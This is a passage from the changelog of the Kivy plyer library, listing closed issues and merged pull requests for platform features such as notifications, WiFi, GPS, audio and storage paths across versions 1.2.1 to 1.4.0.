  - I'll be Working on Linux audio [\#497](https://github.com/kivy/plyer/issues/497)
  - Notification and service [\#494](https://github.com/kivy/plyer/issues/494)
  - Windows notification - NotImplementedError: No usable implementation found! [\#485](https://github.com/kivy/plyer/issues/485)
  - macOS notification NSUserNotificationCenter is deprecated + missing Info.plist [\#449](https://github.com/kivy/plyer/issues/449)



  [Full Changelog](https://github.com/kivy/plyer/compare/1.3.2...1.4.0)

  **Implemented enhancements:**

  - Windows microphone support [\#179](https://github.com/kivy/plyer/issues/179)

  **Closed issues:**

  - jnius.jnius.JavaException: Class not found 'android/content/INTENT' [\#479](https://github.com/kivy/plyer/issues/479)
  - macOS storagepath uses non-standard path for get\_home\_dir\(\) [\#450](https://github.com/kivy/plyer/issues/450)
  - Example Applications break down on a real device [\#338](https://github.com/kivy/plyer/issues/338)
  - Feature request: Accelerometer on Linux \(computers\) [\#9](https://github.com/kivy/plyer/issues/9)
  - Linux wifi implementation via rockymeza/wifi is broken [\#487](https://github.com/kivy/plyer/issues/487)
  - Hardcoded 'wlan0' does not work on all devices [\#477](https://github.com/kivy/plyer/issues/477)
  - GNU/Linux wifi disconnect\(\) not working on Ubuntu 15.04+ [\#452](https://github.com/kivy/plyer/issues/452)
  - Plyer Email [\#420](https://github.com/kivy/plyer/issues/420)
  - notification not working on android [\#402](https://github.com/kivy/plyer/issues/402)
  - plyer.accelerometer not working with Kivy Launcher [\#401](https://github.com/kivy/plyer/issues/401)
  - New PyPI release after 1.3.0 [\#400](https://github.com/kivy/plyer/issues/400)
  - plyer.notify.notification doesn't show ticker in Android [\#378](https://github.com/kivy/plyer/issues/378)
  - plyer.uniqueid.id causes crash on Android with sdl2 [\#245](https://github.com/kivy/plyer/issues/245)
  - audio: JVM exception occurred: setAudioSource failed. [\#210](https://github.com/kivy/plyer/issues/210)
  - Something wrong with encoding in AndroidNotification [\#175](https://github.com/kivy/plyer/issues/175)

  **Merged pull requests:**

  - Implement WiFi for Linux with nmcli [\#495](https://github.com/kivy/plyer/pull/495) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Enhance Android notifications with toast and big icons [\#493](https://github.com/kivy/plyer/pull/493) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix android notifications missing channel on Oreo and later [\#492](https://github.com/kivy/plyer/pull/492) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add Android Native filechooser and external SD card path to StoragePath [\#491](https://github.com/kivy/plyer/pull/491) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix OSX builds on Travis [\#490](https://github.com/kivy/plyer/pull/490) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add audio recording and playing for Windows [\#489](https://github.com/kivy/plyer/pull/489) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add support for interfaces in Linux WiFi [\#488](https://github.com/kivy/plyer/pull/488) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - macOS tests - audio, battery, bluetooth, storagepath [\#482](https://github.com/kivy/plyer/pull/482) ([Nephyx](https://github.com/Nephyx))
  - Change 'Speech' to 'STT' [\#484](https://github.com/kivy/plyer/pull/484) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - New extended CPU details implementation [\#483](https://github.com/kivy/plyer/pull/483) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix uniqueid for linux platform [\#481](https://github.com/kivy/plyer/pull/481) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix CI jobs reporting wrong coverage \(non-imported modules ignored\) [\#480](https://github.com/kivy/plyer/pull/480) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - thegrymek: Android speech recognition [\#471](https://github.com/kivy/plyer/pull/471) ([KeyWeeUsr](https://github.com/KeyWeeUsr))



  [Full Changelog](https://github.com/kivy/plyer/compare/1.3.1...1.3.2)

  **Implemented enhancements:**

  - \[Feature Request\] Termux support [\#360](https://github.com/kivy/plyer/issues/360)
  - storage path support [\#152](https://github.com/kivy/plyer/issues/152)
  - unicode broken in notifications on windows 8. [\#17](https://github.com/kivy/plyer/issues/17)
  - Feature Request: Add adjustable tooltip text to Windows notification [\#14](https://github.com/kivy/plyer/issues/14)

  **Closed issues:**

  - plyer notifications raising NotImplementedError on android [\#467](https://github.com/kivy/plyer/issues/467)
  - TypeError when running examples in Python 3 [\#392](https://github.com/kivy/plyer/issues/392)
  - when i use buildozer and python3crystax to build apk  it not work ? [\#380](https://github.com/kivy/plyer/issues/380)
  - Windows filechooser crash [\#375](https://github.com/kivy/plyer/issues/375)
  - Using the camera crashes the app [\#369](https://github.com/kivy/plyer/issues/369)
  - after calling an plyer audio function from an accelerometer function, App crashes. [\#361](https://github.com/kivy/plyer/issues/361)
  - uniqueid.id fails under android and windows7 32bit python2.7 [\#277](https://github.com/kivy/plyer/issues/277)
  - Strange string returned by filechooser on Windows [\#177](https://github.com/kivy/plyer/issues/177)
  - Email Support for OSX [\#32](https://github.com/kivy/plyer/issues/32)
  - GPS Support for iOS [\#22](https://github.com/kivy/plyer/issues/22)
  - Camera Support for iOS [\#21](https://github.com/kivy/plyer/issues/21)
  - Example app for Camera facade [\#16](https://github.com/kivy/plyer/issues/16)

  **Merged pull requests:**

  - Move TODO item to a separate issue [\#478](https://github.com/kivy/plyer/pull/478) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add @deprecated decorator [\#476](https://github.com/kivy/plyer/pull/476) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fixed macOS using non-standard path for get\_home\_dir\(\) [\#475](https://github.com/kivy/plyer/pull/475) ([Nephyx](https://github.com/Nephyx))
  - Removed unnecessary grep dependency [\#474](https://github.com/kivy/plyer/pull/474) ([Nephyx](https://github.com/Nephyx))
  - Add enable & disable WiFi for Linux and MacOS [\#473](https://github.com/kivy/plyer/pull/473) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Cleaning the plyer root directory and CI scripts [\#468](https://github.com/kivy/plyer/pull/468) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add more distros via Docker images [\#466](https://github.com/kivy/plyer/pull/466) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add Linux Screenshot with X11's X Window Dump [\#463](https://github.com/kivy/plyer/pull/463) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Revert uppercase on autoclass values [\#462](https://github.com/kivy/plyer/pull/462) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fixing Java class name [\#461](https://github.com/kivy/plyer/pull/461) ([clevermindgames](https://github.com/clevermindgames))
  - Increase timeout for notification test [\#460](https://github.com/kivy/plyer/pull/460) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add Windows Screenshot with ctypes+pywin32 [\#459](https://github.com/kivy/plyer/pull/459) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add screenshot test for OSX [\#458](https://github.com/kivy/plyer/pull/458) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - OSX Screenshot \(Rebased PR \#324\) [\#457](https://github.com/kivy/plyer/pull/457) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Rebased PR \#239 + fixes [\#455](https://github.com/kivy/plyer/pull/455) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Bump to 1.3.2.dev0 [\#446](https://github.com/kivy/plyer/pull/446) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Bump to 1.3.1 [\#445](https://github.com/kivy/plyer/pull/445) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add extra options for installation via setuptools [\#438](https://github.com/kivy/plyer/pull/438) ([KeyWeeUsr](https://github.com/KeyWeeUsr))



  [Full Changelog](https://github.com/kivy/plyer/compare/1.3.0...1.3.1)

  **Implemented enhancements:**

  - Audio recording for macOS [\#428](https://github.com/kivy/plyer/pull/428) ([Nephyx](https://github.com/Nephyx))

  **Closed issues:**

  - plyer.wifi.is\_enabled\(\) always return false running in python3 [\#436](https://github.com/kivy/plyer/issues/436)
  - kivy-ios fails to build plyer [\#417](https://github.com/kivy/plyer/issues/417)
  - Python 3 TabError [\#398](https://github.com/kivy/plyer/issues/398)
  - is there a way of using the front camera instead of back  [\#391](https://github.com/kivy/plyer/issues/391)
  - storagepath.py  \_get\_application\_dir: NotImplementedError [\#389](https://github.com/kivy/plyer/issues/389)
  - plyer app crashes on android [\#387](https://github.com/kivy/plyer/issues/387)
  - Can't pip install plyer through git [\#385](https://github.com/kivy/plyer/issues/385)
  - speech to text [\#382](https://github.com/kivy/plyer/issues/382)
  - text2speech doesn't work on platform Linux [\#372](https://github.com/kivy/plyer/issues/372)
  - Changing file\_path in audio.py example is not working [\#356](https://github.com/kivy/plyer/issues/356)
  - How to change file\_path of audio in plyer? [\#355](https://github.com/kivy/plyer/issues/355)
  - Accelerometer in plyer [\#354](https://github.com/kivy/plyer/issues/354)
  - iOS Gyroscope crashes [\#352](https://github.com/kivy/plyer/issues/352)
  - Need keystore for storing user credentials  [\#350](https://github.com/kivy/plyer/issues/350)
  - plyer examples app always crashes in android phones, It says "Unfortunately "Name of app" has stopped working." [\#349](https://github.com/kivy/plyer/issues/349)
  - Notification not working on Windows [\#333](https://github.com/kivy/plyer/issues/333)
  - Accelerometer not working on linux [\#327](https://github.com/kivy/plyer/issues/327)
  - 1.3.0 broke notifications on Windows [\#318](https://github.com/kivy/plyer/issues/318)
  - No encoding and °C causes SyntaxError [\#312](https://github.com/kivy/plyer/issues/312)
  - GPS double output on output return value [\#302](https://github.com/kivy/plyer/issues/302)
  - Cannot import wifi module in windows [\#272](https://github.com/kivy/plyer/issues/272)

  **Merged pull requests:**

  - Add note about Windows icon format [\#444](https://github.com/kivy/plyer/pull/444) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Mark new audio recording feature in README.rst [\#443](https://github.com/kivy/plyer/pull/443) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix not decoding bytes in Linux orientation.py [\#442](https://github.com/kivy/plyer/pull/442) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix b' embedded in the path string for Windows' choose\_dir\(\) [\#441](https://github.com/kivy/plyer/pull/441) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add missing parameter for Windows' WlanCloseHandle\(\) [\#440](https://github.com/kivy/plyer/pull/440) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Revert facades/wifi.py change from PR \#301 [\#439](https://github.com/kivy/plyer/pull/439) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Update wifi.py [\#437](https://github.com/kivy/plyer/pull/437) ([Vibhu-Agarwal](https://github.com/Vibhu-Agarwal))
  - Remove notification webhook from travis [\#434](https://github.com/kivy/plyer/pull/434) ([dessant](https://github.com/dessant))
  - Fix Travis build for pull requests [\#432](https://github.com/kivy/plyer/pull/432) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Changed OSX storage path from ctypes to pyobjus [\#431](https://github.com/kivy/plyer/pull/431) ([Nephyx](https://github.com/Nephyx))
  - Fix Pylint errors W0150, W0511, W0601, W0603, W0610 [\#430](https://github.com/kivy/plyer/pull/430) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix Pylint errors W0611, W0612, W0622, W0702, W0703 [\#427](https://github.com/kivy/plyer/pull/427) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Disable all Pylint errors to fix red jobs [\#426](https://github.com/kivy/plyer/pull/426) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Downgrade Travis due to missing docker service on Ubuntu Bionic [\#425](https://github.com/kivy/plyer/pull/425) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Switch from Ubuntu Trusty to Ubuntu Bionic LTS [\#424](https://github.com/kivy/plyer/pull/424) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix style issues in utils, compat and setup.py [\#423](https://github.com/kivy/plyer/pull/423) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Clickable notifications, fixes \#154 [\#422](https://github.com/kivy/plyer/pull/422) ([AndreMiras](https://github.com/AndreMiras))
  - Fix style in test\_facade.py [\#418](https://github.com/kivy/plyer/pull/418) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix pep8 issues in files [\#416](https://github.com/kivy/plyer/pull/416) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add script for CI deployment to PyPI [\#413](https://github.com/kivy/plyer/pull/413) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix travis to use real branch instead of detached HEAD [\#412](https://github.com/kivy/plyer/pull/412) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add linux battery from sysclass [\#411](https://github.com/kivy/plyer/pull/411) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Switch to unicode in macosx battery.py [\#410](https://github.com/kivy/plyer/pull/410) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix test\_facade failing for Py3 by switching to Mocks [\#409](https://github.com/kivy/plyer/pull/409) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Add Dockerfiles for testing, fix tests and style [\#408](https://github.com/kivy/plyer/pull/408) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Implemented storagepath in linux [\#407](https://github.com/kivy/plyer/pull/407) ([Sires0](https://github.com/Sires0))
  - Improve messages for missing dependencies [\#406](https://github.com/kivy/plyer/pull/406) ([dolang](https://github.com/dolang))
  - Updates README.rst, removes dup in supported API [\#403](https://github.com/kivy/plyer/pull/403) ([AndreMiras](https://github.com/AndreMiras))
  - why should decode 'l' again and again [\#396](https://github.com/kivy/plyer/pull/396) ([xhimanshuz](https://github.com/xhimanshuz))
  - Correcting issue https://github.com/kivy/plyer/issues/392 for linux p… [\#395](https://github.com/kivy/plyer/pull/395) ([ghost](https://github.com/ghost))
  - Number Of Processors for Linux Platform [\#394](https://github.com/kivy/plyer/pull/394) ([salil-gtm](https://github.com/salil-gtm))
  - enhancement: bluetooth status [\#388](https://github.com/kivy/plyer/pull/388) ([kapilnayar](https://github.com/kapilnayar))
  - Show that bluetooth is not supported [\#379](https://github.com/kivy/plyer/pull/379) ([zerox1212](https://github.com/zerox1212))
  - Arrange APIs table in alphabetical order [\#377](https://github.com/kivy/plyer/pull/377) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Add list of supported platforms to facade [\#376](https://github.com/kivy/plyer/pull/376) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Add iOS api for storage path [\#374](https://github.com/kivy/plyer/pull/374) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - update readme [\#373](https://github.com/kivy/plyer/pull/373) ([sandeepsajan0](https://github.com/sandeepsajan0))
  - Update buildozer.spec [\#370](https://github.com/kivy/plyer/pull/370) ([sandeepsajan0](https://github.com/sandeepsajan0))
  - Warn instead stder.write for linux notif errors [\#368](https://github.com/kivy/plyer/pull/368) ([sametmax](https://github.com/sametmax))
  - Add coveralls.io report [\#367](https://github.com/kivy/plyer/pull/367) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix pep8 in plyer [\#366](https://github.com/kivy/plyer/pull/366) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - iOS Barometer API [\#363](https://github.com/kivy/plyer/pull/363) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Fix iOS Gyroscope crash issue [\#353](https://github.com/kivy/plyer/pull/353) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Keystore implementation. [\#351](https://github.com/kivy/plyer/pull/351) ([brentpicasso](https://github.com/brentpicasso))
  - iOS Spatial orientation [\#348](https://github.com/kivy/plyer/pull/348) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - iOS Gravity sensor  [\#347](https://github.com/kivy/plyer/pull/347) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Linux Brightness API [\#346](https://github.com/kivy/plyer/pull/346) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Brightness API [\#344](https://github.com/kivy/plyer/pull/344) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Fix bug in WindowsBalloonTip [\#343](https://github.com/kivy/plyer/pull/343) ([Chronial](https://github.com/Chronial))
  - Storage path API [\#342](https://github.com/kivy/plyer/pull/342) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Compass uncalibrated [\#341](https://github.com/kivy/plyer/pull/341) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Gyroscope uncalibrated sensor [\#337](https://github.com/kivy/plyer/pull/337) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Spatial Orientation for android [\#336](https://github.com/kivy/plyer/pull/336) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Update win\_api\_defs.py [\#335](https://github.com/kivy/plyer/pull/335) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Add some tests + Appveyor [\#329](https://github.com/kivy/plyer/pull/329) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Fix notification ticker error + pep8 [\#328](https://github.com/kivy/plyer/pull/328) ([KeyWeeUsr](https://github.com/KeyWeeUsr))
  - Pep8 fix in temperature.py [\#322](https://github.com/kivy/plyer/pull/322) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Example for Unique ID facade [\#321](https://github.com/kivy/plyer/pull/321) ([sumitmadhwani](https://github.com/sumitmadhwani))
  - Android Humidity [\#301](https://github.com/kivy/plyer/pull/301) ([bhaveshAn](https://github.com/bhaveshAn))
  - fix handling of notifications' timeout on Linux [\#297](https://github.com/kivy/plyer/pull/297) ([benoit-pierre](https://github.com/benoit-pierre))
  - Facade Wifi [\#290](https://github.com/kivy/plyer/pull/290) ([bhaveshAn](https://github.com/bhaveshAn))
  - orientation feature for linux [\#273](https://github.com/kivy/plyer/pull/273) ([susmit](https://github.com/susmit))
  - Fix wifi module. [\#244](https://github.com/kivy/plyer/pull/244) ([account-login](https://github.com/account-login))


  [Full Changelog](https://github.com/kivy/plyer/compare/v1.2.4...1.3.0)

  **Implemented enhancements:**

  - Feature Request: Alarms [\#8](https://github.com/kivy/plyer/issues/8)

  **Closed issues:**

  - Notification.notify crashes android app  [\#296](https://github.com/kivy/plyer/issues/296)
  - GPS android crash on launch [\#288](https://github.com/kivy/plyer/issues/288)
  - Send SMS feature not working [\#261](https://github.com/kivy/plyer/issues/261)
  - gps.configure\(\) results in exception [\#257](https://github.com/kivy/plyer/issues/257)
  - v1.2.4 archive not available via github [\#234](https://github.com/kivy/plyer/issues/234)
  - SyntaxError in wifi.py for Linux [\#230](https://github.com/kivy/plyer/issues/230)
  - New PyPi release please, to fix static jfieldID not valid for class java.lang.Class\<org.renpy.android.PythonActivity\> [\#229](https://github.com/kivy/plyer/issues/229)
  - Drag-and-drop: originate in Kivy, drop in some external app [\#228](https://github.com/kivy/plyer/issues/228)
  - GPS Issue after in iOS after last changes in plyer [\#224](https://github.com/kivy/plyer/issues/224)
  - battery.status isCharging always shows false [\#221](https://github.com/kivy/plyer/issues/221)
  - GPS example only updating location once [\#217](https://github.com/kivy/plyer/issues/217)
  - uniqueid.id raises exception on Windows [\#212](https://github.com/kivy/plyer/issues/212)
  - Redundant libs folder [\#209](https://github.com/kivy/plyer/issues/209)
  - accelerometer on Android with Kivy Launcher 1.9.0 not working [\#206](https://github.com/kivy/plyer/issues/206)
  - Camera on android doesn't return to app [\#200](https://github.com/kivy/plyer/issues/200)
  - android compass suggestion [\#195](https://github.com/kivy/plyer/issues/195)
  - more example code to the docs [\#166](https://github.com/kivy/plyer/issues/166)
  - Mail API on linux raises error NameError: name 'Email' is not defined [\#131](https://github.com/kivy/plyer/issues/131)
  - native gui widgets [\#124](https://github.com/kivy/plyer/issues/124)
  - android: using gps app cannot resume from pause [\#112](https://github.com/kivy/plyer/issues/112)
  - Please upgrade pypi ! [\#94](https://github.com/kivy/plyer/issues/94)
  - UniqueID using OpenID [\#83](https://github.com/kivy/plyer/issues/83)
  - Display the notification in the right places [\#78](https://github.com/kivy/plyer/issues/78)
  - Python3 All The Plyer! [\#12](https://github.com/kivy/plyer/issues/12)

  **Merged pull requests:**

  - Modify readme [\#308](https://github.com/kivy/plyer/pull/308) ([malverick](https://github.com/malverick))
  - Add version tags in light and temperature facade [\#307](https://github.com/kivy/plyer/pull/307) ([malverick](https://github.com/malverick))
  - Android ambient temperature sensor [\#293](https://github.com/kivy/plyer/pull/293) ([malverick](https://github.com/malverick))
  - Android light sensor [\#292](https://github.com/kivy/plyer/pull/292) ([malverick](https://github.com/malverick))
  - Plyer android proximity sensor [\#287](https://github.com/kivy/plyer/pull/287) ([malverick](https://github.com/malverick))
  - Plyer android pressure sensor [\#286](https://github.com/kivy/plyer/pull/286) ([malverick](https://github.com/malverick))
  - Update readme and plyer/\_\_init\_\_.py [\#285](https://github.com/kivy/plyer/pull/285) ([malverick](https://github.com/malverick))
  - Plyer android gravity sensor [\#283](https://github.com/kivy/plyer/pull/283) ([malverick](https://github.com/malverick))
  - Add on\_pause function [\#274](https://github.com/kivy/plyer/pull/274) ([malverick](https://github.com/malverick))
  - uniqueid\_facade [\#270](https://github.com/kivy/plyer/pull/270) ([bhaveshAn](https://github.com/bhaveshAn))
  - add bin and .buildozer directory to .gitignore [\#259](https://github.com/kivy/plyer/pull/259) ([malverick](https://github.com/malverick))
  - pep8 fixes [\#250](https://github.com/kivy/plyer/pull/250) ([malverick](https://github.com/malverick))
  - update code [\#249](https://github.com/kivy/plyer/pull/249) ([kiok46](https://github.com/kiok46))
  - Adding small examples in facade files [\#237](https://github.com/kivy/plyer/pull/237) ([kiok46](https://github.com/kiok46))
  - Fix TypeError if `LANG` is not set in on osx [\#232](https://github.com/kivy/plyer/pull/232) ([ForeverWintr](https://github.com/ForeverWintr))
  - fix \#230 [\#231](https://github.com/kivy/plyer/pull/231) ([kiok46](https://github.com/kiok46))
  - fix gps issue for ios [\#225](https://github.com/kivy/plyer/pull/225) ([kiok46](https://github.com/kiok46))
  - Fixed issue \#221 [\#223](https://github.com/kivy/plyer/pull/223) ([Warlord77](https://github.com/Warlord77))
  - Add flash example [\#219](https://github.com/kivy/plyer/pull/219) ([kiok46](https://github.com/kiok46))
  - Make gps request parameters configurable [\#218](https://github.com/kivy/plyer/pull/218) ([kiok46](https://github.com/kiok46))
  - Wifi Facade. OSX, Windows, Linux [\#213](https://github.com/kivy/plyer/pull/213) ([kiok46](https://github.com/kiok46))
  - add sms for ios [\#203](https://github.com/kivy/plyer/pull/203) ([kiok46](https://github.com/kiok46))
  - check android for namespace, otherwise use renpy [\#199](https://github.com/kivy/plyer/pull/199) ([kived](https://github.com/kived))
  - fix p4a revamp [\#198](https://github.com/kivy/plyer/pull/198) ([kived](https://github.com/kived))
  - Rewrite notification on Mac using PyOBJus [\#192](https://github.com/kivy/plyer/pull/192) ([andong777](https://github.com/andong777))
  - Call for ios [\#191](https://github.com/kivy/plyer/pull/191) ([kiok46](https://github.com/kiok46))
  - Note on requirements for iOS [\#187](https://github.com/kivy/plyer/pull/187) ([doratoa](https://github.com/doratoa))
  - Adding battery example, notification ticker and gps example update [\#183](https://github.com/kivy/plyer/pull/183) ([kiok46](https://github.com/kiok46))
  - Call and dial for android [\#181](https://github.com/kivy/plyer/pull/181) ([kiok46](https://github.com/kiok46))
  - Dial or Call for android [\#180](https://github.com/kivy/plyer/pull/180) ([kiok46](https://github.com/kiok46))
  - Added accuracy argument to on\_location call. [\#174](https://github.com/kivy/plyer/pull/174) ([lipi](https://github.com/lipi))
  - Introduce camera access for ios and a example. [\#167](https://github.com/kivy/plyer/pull/167) ([akshayaurora](https://github.com/akshayaurora))
  - macosx: fix incorrect method name in filechooser [\#165](https://github.com/kivy/plyer/pull/165) ([kived](https://github.com/kived))
  - linux email import fix [\#151](https://github.com/kivy/plyer/pull/151) ([thegrymek](https://github.com/thegrymek))
  - Merge android columns [\#148](https://github.com/kivy/plyer/pull/148) ([dessant](https://github.com/dessant))
  - Camera example [\#41](https://github.com/kivy/plyer/pull/41) ([trivedigaurav](https://github.com/trivedigaurav))


  [Full Changelog](https://github.com/kivy/plyer/compare/1.2.3...v1.2.4)

  **Implemented enhancements:**

  - Update platform check code [\#109](https://github.com/kivy/plyer/issues/109)

  **Closed issues:**

  - webhook test [\#142](https://github.com/kivy/plyer/issues/142)
  - Sync style check updates from the Kivy repo [\#141](https://github.com/kivy/plyer/issues/141)
  - GPS on android doesn't work \(a strange error\) [\#136](https://github.com/kivy/plyer/issues/136)
  - Create toast notification facade for Android and iOS [\#126](https://github.com/kivy/plyer/issues/126)
  - uniqueid.id empty on linux. [\#114](https://github.com/kivy/plyer/issues/114)
  - Gyroscope Support for iOS [\#111](https://github.com/kivy/plyer/issues/111)
  - AndroidUniqueID doesn't use Android ID [\#107](https://github.com/kivy/plyer/issues/107)
  - OverflowError: Python int too large to convert to C long \[android lollipop\] [\#103](https://github.com/kivy/plyer/issues/103)
  - Feature request: ability to open browser to a particular page [\#98](https://github.com/kivy/plyer/issues/98)
  - AndroidGPS list GPS Provider but use hardcoded "gps" [\#54](https://github.com/kivy/plyer/issues/54)
  - Email Support for Android \< 4.0 [\#42](https://github.com/kivy/plyer/issues/42)

  **Merged pull requests:**

  - style fixes [\#147](https://github.com/kivy/plyer/pull/147) ([dessant](https://github.com/dessant))
  - add pydev files to gitignore [\#146](https://github.com/kivy/plyer/pull/146) ([dessant](https://github.com/dessant))
  - Plyer style guide update [\#145](https://github.com/kivy/plyer/pull/145) ([thegrymek](https://github.com/thegrymek))
  - Plyer audio for android with facade and example [\#144](https://github.com/kivy/plyer/pull/144) ([thegrymek](https://github.com/thegrymek))
  - fix versionchanged tag [\#143](https://github.com/kivy/plyer/pull/143) ([dessant](https://github.com/dessant))
  - update info about support email for android\<4.0 [\#140](https://github.com/kivy/plyer/pull/140) ([thegrymek](https://github.com/thegrymek))
  - added plyer.facade to setuptools package [\#139](https://github.com/kivy/plyer/pull/139) ([thegrymek](https://github.com/thegrymek))
  - splitted facades [\#138](https://github.com/kivy/plyer/pull/138) ([thegrymek](https://github.com/thegrymek))
  - Inclement orientation [\#135](https://github.com/kivy/plyer/pull/135) ([thegrymek](https://github.com/thegrymek))
  - remove unused variables [\#134](https://github.com/kivy/plyer/pull/134) ([thegrymek](https://github.com/thegrymek))
  - fix \#107 - Use Android\_ID instead of IMEI [\#133](https://github.com/kivy/plyer/pull/133) ([aron-bordin](https://github.com/aron-bordin))
  - vibrator for android v \< 4.0 [\#129](https://github.com/kivy/plyer/pull/129) ([thegrymek](https://github.com/thegrymek))
  - PEP8 and typo fixes in MacOS X file chooser. [\#123](https://github.com/kivy/plyer/pull/123) ([robertjerovsek](https://github.com/robertjerovsek))
  - pep8 - removed unused imports and variables [\#122](https://github.com/kivy/plyer/pull/122) ([thegrymek](https://github.com/thegrymek))
  - Pep8 fix [\#121](https://github.com/kivy/plyer/pull/121) ([laltin](https://github.com/laltin))
  - add video recoding to Camera facade and camera.py [\#120](https://github.com/kivy/plyer/pull/120) ([pspchucky](https://github.com/pspchucky))
  - Use environ to change LANG to 'C' while calling shell processes [\#119](https://github.com/kivy/plyer/pull/119) ([trivedigaurav](https://github.com/trivedigaurav))
  - add IrBlaster facade and Android implementation [\#118](https://github.com/kivy/plyer/pull/118) ([kived](https://github.com/kived))
  - Android gps.py: fixed location provider cycling [\#117](https://github.com/kivy/plyer/pull/117) ([JimmyStavros](https://github.com/JimmyStavros))
  - iOS GPS support [\#116](https://github.com/kivy/plyer/pull/116) ([laltin](https://github.com/laltin))
  - use environ to change LANG to 'C' while calling lshw [\#115](https://github.com/kivy/plyer/pull/115) ([tshirtman](https://github.com/tshirtman))
  - responds to issue 109 https://github.com/kivy/plyer/issues/109 [\#110](https://github.com/kivy/plyer/pull/110) ([AlbericC](https://github.com/AlbericC))
  - Add file chooser facade and support for Linux and Windows [\#106](https://github.com/kivy/plyer/pull/106) ([Depaulicious](https://github.com/Depaulicious))


  [Full Changelog](https://github.com/kivy/plyer/compare/1.2.2...1.2.3)


  [Full Changelog](https://github.com/kivy/plyer/compare/1.2.1...1.2.2)

  **Closed issues:**

  - NotImplementedError: No usable implementation found! whith usable implementations on the system.  [\#108](https://github.com/kivy/plyer/issues/108)
  - Gyro example [\#101](https://github.com/kivy/plyer/issues/101)
  - Notification is not working in android [\#93](https://github.com/kivy/plyer/issues/93)
  - plyer.notification.notfy\(\) raises NotImplementedError under Python 3.3 in Linux but not Python 2.7 [\#58](https://github.com/kivy/plyer/issues/58)

  **Merged pull requests:**

  - Linux platform check made compatible with python 3.3+ \(Fixes \#58\) [\#102](https://github.com/kivy/plyer/pull/102) ([helenst](https://github.com/helenst))


  [Full Changelog](https://github.com/kivy/plyer/compare/1.2.0...1.2.1)

  **Implemented enhancements:**

  - Feature Request: codec-independent sound player [\#2](https://github.com/kivy/plyer/issues/2)

  **Closed issues:**

  - Battery status connected is actually isCharging [\#84](https://github.com/kivy/plyer/issues/84)
  - Email Support for Windows [\#36](https://github.com/kivy/plyer/issues/36)
  - Accelerometer Support for OSX [\#29](https://github.com/kivy/plyer/issues/29)
  - Email Support for Linux [\#28](https://github.com/kivy/plyer/issues/28)
  - Email Support for iOS [\#25](https://github.com/kivy/plyer/issues/25)
  - TextToSpeech Support for iOS [\#24](https://github.com/kivy/plyer/issues/24)

  **Merged pull requests:**

  - fix print statement [\#92](https://github.com/kivy/plyer/pull/92) ([dessant](https://github.com/dessant))
  - iOS UUID facade [\#90](https://github.com/kivy/plyer/pull/90) ([trivedigaurav](https://github.com/trivedigaurav))
  - Removing build\_ext from plyer [\#89](https://github.com/kivy/plyer/pull/89) ([trivedigaurav](https://github.com/trivedigaurav))
  - iOS Email Facade [\#88](https://github.com/kivy/plyer/pull/88) ([trivedigaurav](https://github.com/trivedigaurav))
